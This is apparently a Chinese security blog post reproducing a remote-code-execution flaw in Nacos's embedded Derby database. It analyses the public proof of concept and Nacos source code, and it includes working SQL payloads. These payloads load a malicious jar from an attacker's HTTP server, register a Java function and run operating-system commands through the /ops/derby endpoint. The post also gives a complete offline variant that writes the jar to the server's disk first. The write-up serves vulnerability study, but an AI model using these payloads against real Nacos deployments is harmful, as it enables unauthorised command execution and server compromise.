image-20240727202717275
本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
由于前段时间得了点小病,没赶上Nacos的热度,也好久没有做漏洞复现了,遇到个我感兴趣的所以就复现了下。
然后再说个事,就是之前提到我想分享一些实用的APP,但是因为这个号,我只想分享跟安全有关的,不想搞的乱七八糟的,所以每次都是发到小号上,然后这个转载的,所以如果大家想要获取地址,一定要看号是在哪个号回复,后台好多老哥都回复错了
文章首发奇安信攻防社区:https://forum.butian.net/article/483
本地部署,代码clone下来后,需要用mvn进行编译,这里最好设置镜像或代理,推荐设置代理
image-20240718112949779
配置启动
image-20240720192502714
查看自带derby数据库,ij.bat
后
-- 默认在C:\Users\【用户名】\nacos\data\derby-data
connect 'jdbc:derby:C:\Users\【用户名】\nacos\data\derby-data;create=true';
根据已经存在的POC进行分析,可以发现代码首先发的一个请求包是,removal同时带上了参数,参数值就是我们变量post_sql
的三行数据库代码
image-20240718203025918
CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
-- 这里的service变量就是我们下载文件恶意jar包文件的地址,也就是http://127.0.0.1:5000/download,id为随机8个字母,所以可以等量替换如下
CALL sqlj.install_jar('http://127.0.0.1:5000/download', 'NACOS.{id}', 0)
这里利用CALL指令执行了存储过程sqlj.install_jar
,根据官方文档可知,这个存储过程的功能是将一个jar文件存储到数据库中
这个存储过程有三个参数:
jar文件地址,本地或远程都可
在derby数据库中这个jar文件的名称,名称需要由模式(Schema)名称限定(可在SYSSCHEMAS表中确定)
不重要,通常为0
文档地址:https://db.apache.org/derby/docs/10.15/ref/
这里为了更直观我翻译了一下,所以可能有些内容不太通顺
image-20240718204135405
在Derby数据库中,使用SQLJ.INSTALL_JAR来安装JAR文件时,并不是简单地将JAR文件存储在文件系统的特定位置,而是将其存储在数据库本身的系统表中。
SQLJ.INSTALL_JAR命令会将JAR文件的内容以二进制形式存储在Derby数据库的系统表SYS.SYSFILES
中,同时在SYS.SYSALIASES
表中创建对应的别名(alias)。
我们可以先查询一下SYS.SYSFILES
和SYS.SYSALIASES
这两个表
FILES为空
image-20240719115531319
SYSALIASES目前为81条
image-20240719115538621
然后我这里改了下poc脚本,输出了一下post_sql变量
image-20240719115640332
然后执行一次我们的脚本,注意这里的后缀
image-20240719161210575
看一下我们的SYS.SYSFILES
表,可以看到之前的后缀为SYSFILES表中的文件名FILENAME,用于后续定位该文件
image-20240719145534944
这个存储过程功能就是设置derby数据库中属性的值,我们对应的代码如下
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
上边代码所执行的功能是,将derby.database.classpath
的属性设置为我们刚刚上传的jar文件的标识
正常情况下Derby数据库中是支持java类的,Derby 默认加载的是其自身的类路径,这包括 Derby 内置的一些 Java 类和函数,并不包括sqlj.install_jar
安装的 JAR 文件中的内容,所以我们想要执行sqlj.install_jar
安装的 JAR就需要利用SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY
来指定 Derby 的类路径,使其能够正确加载这些类。
image-20240720142245502
代码解释如下
-- 创建一个名为S_EXAMPLE_{id}的自定义函数
CREATE FUNCTION S_EXAMPLE_{id}(
PARAM VARCHAR(2000) -- 定义函数的参数
) RETURNS VARCHAR(2000) -- 返回值
PARAMETER STYLE JAVA -- 使用 JAVA 样式的参数传递方式
NO SQL -- 函数不执行SQL查询或更新操作
LANGUAGE JAVA -- 指定函数执行语言为Java
EXTERNAL NAME 'test.poc.Example.exec'; -- 指定函数的具体实现在 Java 类 test.poc.Example 的 exec 方法中
为了对照,这里将service准备的payload还原为jar文件
image-20240720143530993
接着用jadx打开,这样理解就比较形象了
image-20240720143653698
接着由于这行代码的执行,在我们的derby数据库的SYS.SYSALIASES表中,就已经存在这行数据了
image-20240720143835188
其实这个时候我们执行如下代码, 就可以在derby数据库中调用这个存储过程了,达到调用指定java函数的功能了
-- 由于只是调用函数,在查询中不需要实际的数据表,这里可以用 SYSIBM.SYSDUMMY1特殊的系统表,用于执行一些无需实际数据表的查询操作
SELECT NACOS.S_EXAMPLE_YLGPGMAF('calc') FROM SYSIBM.SYSDUMMY1;
image-20240720144658017
SELECT *
FROM (
-- 子查询:统计config_info表中的行数,并调用自定义函数S_EXAMPLE_{id}('{cmd}') 返回值作为别名为a
SELECT
COUNT(*) AS b,
S_EXAMPLE_{id}('{cmd}') AS a
FROM
config_info
) tmp -- 子查询结束,命名为tmp
/*ROWS FETCH NEXT*/ -- 注释
可以看到这是我们poc脚本中的代码,这里就有个问题了,像我之前举例那样就能执行函数了,为什么要写的这么复杂,这个原因就得对应下面具体代码分析了
由于脚本调用了两个接口,get_sql作为/ops/derby接口的参数调用,所以这里先分析下这个接口
代码如下,我们如果想利用漏洞,就需要让代码执行到下方红色框框起来的代码,但是前面有三个判断,所以盲猜上面的sql代码之所以写的那么复杂就与这三个if有关
image-20240720151137726
//这里我们要令代码不进入判断里面就应该确保DatasourceConfiguration.isEmbeddedStorage()为真,然后因为前面有!取反,所以为假,所以就不会走到return了,而DatasourceConfiguration.isEmbeddedStorage()是判断数据库是否为嵌入式存储,我们用的是derby,所以这里肯定为真,所以这个判断不会影响我们
if (!DatasourceConfiguration.isEmbeddedStorage()) {
return RestResultUtils.failed("The current storage mode is not Derby");
}
我们可以调试看一眼,为True没有问题
image-20240720152127035
由于我们上面说的红色框框起来的代码是在这个if循环体内,所以需要令第二个if值为真,这里它判断我们的sql参数,是否为select开头(忽略大小写)
image-20240720152430660
//这里可以看到,它判断了sql中是否包含limitSign,也就是ROWS FETCH NEXT,如果不包含则给我的sql后面加了点垃圾
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
接下来我们先看下这个垃圾是否影响我们运行,emmm,貌似不影响
image-20240720153358517
那么继续简化我们的这个代码,看看用正常在数据库执行的那种方式可不可行,可以正常运行并得到返回值
image-20240720153749877
这个代码其实从表项看没什么分析的,因为它就执行了我们一开始传递的三个sql语句,但是因为这个漏洞是有限制的,所以还是要看一下
上来就看到一个if,这个if跟上面那个跟上面接口的第一个if是一个
image-20240720154114808
既然又出现了一次,那这里我就仔细看看吧,我们之前说它是判断当前运行的环境,数据库是否为嵌入式存储,也就是判断是否为derby而不是mysql什么的,具体怎么判断的呢?
跟进到这个isEmbeddedStorage
函数,返回值是DatasourceConfiguration这个类的embeddedStorage
属性
image-20240720154436121
这个属性值在这里
image-20240720154535974
ok,那就看看getStandaloneMode返回的是个什么,返回的isStandalone,
image-20240720154741705
这里就不多做分析了,多放两张图就都明白了
image-20240720154804050
启动模式
image-20240720154850233
接着代码就没什么好分析的了,大概就是正常把我们sql值分割,然后执行的流程了,我就直接贴图了
image-20240720155208925
执行sql
image-20240720155452778
我们整个利用过程其实需要服务器通过访问我们的攻击服务器的http服务,下载对应payload,所以这就延伸出来了一个问题,就是不出网利用,那么不出网利用能不能实现呢?思路就是sqlj.install_jar存储jar文件到数据库的时候,这个jar文件地址不是指向远程而是指向nacos服务器本地,既然如此就需要找到一个方法先将payload存到本地,而derby数据库恰好是支持的
SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
这个调用过程可以将数据存到本地
image-20240720171055212
于是将post_sql改为如下代码
image-20240720171312337
post_sql = """
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values cast(X''{jar_hex}'' as blob)', './{id}', ',', '"', 'UTF-8', './{id}.jar')\n
CALL SQLJ.INSTALL_JAR('./{id}.jar', 'NACOS.{id}', 0)\n
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service,jar_hex=jar_hex);
这里第一行用到了SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
,其实第一个参数为我们的payload,第二个参数为生成的文本文件,最后一个参数就是生成的jar文件,所以执行后会生成两个文件,虽然我们只需要jar文件,但是第二个参数不能为空,本地实验设置为空会出错,包括文档里也写了,如果为空则会报错
image-20240720192045229
那么我们最后肯定是会存到nacos服务器两个文件
image-20240720192148825
ok,可以正常执行
image-20240720192322096